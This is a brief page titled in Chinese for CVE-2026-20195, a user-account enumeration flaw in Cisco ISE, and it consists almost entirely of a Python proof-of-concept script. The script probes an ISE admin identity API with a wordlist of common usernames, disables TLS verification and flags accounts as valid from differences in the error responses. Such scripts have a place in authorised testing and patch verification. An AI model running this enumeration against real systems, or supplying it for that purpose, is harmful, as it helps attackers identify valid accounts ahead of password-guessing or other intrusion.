CVE-2026-20195 Cisco ISE 用户账户枚举漏洞

import requests import sys # Target configuration # Replace with the actual vulnerable endpoint URL target_url = "https://<ise-ip>/admin/API/mgmt/identity/user" wordlist = ["admin", "cisco", "guest", "user", "test"] print("[*] Starting enumeration...") headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-20195-Scanner)", "Accept": "application/json" } for username in wordlist: # Crafting the request to probe the API endpoint # This payload is designed to trigger the error message differentiation try: response = requests.get(f"{target_url}/{username}", headers=headers, timeout=5, verify=False) # Analyzing the response based on the vulnerability description # Logic: Different error messages indicate valid vs invalid users if "Invalid user" not in response.text and response.status_code != 404: print(f"[+] Valid User Found: {username} (Status: {response.status_code})") else: print(f"[-] Invalid User: {username}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {target_url}: {e}") sys.exit(1) print("[*] Scan complete.")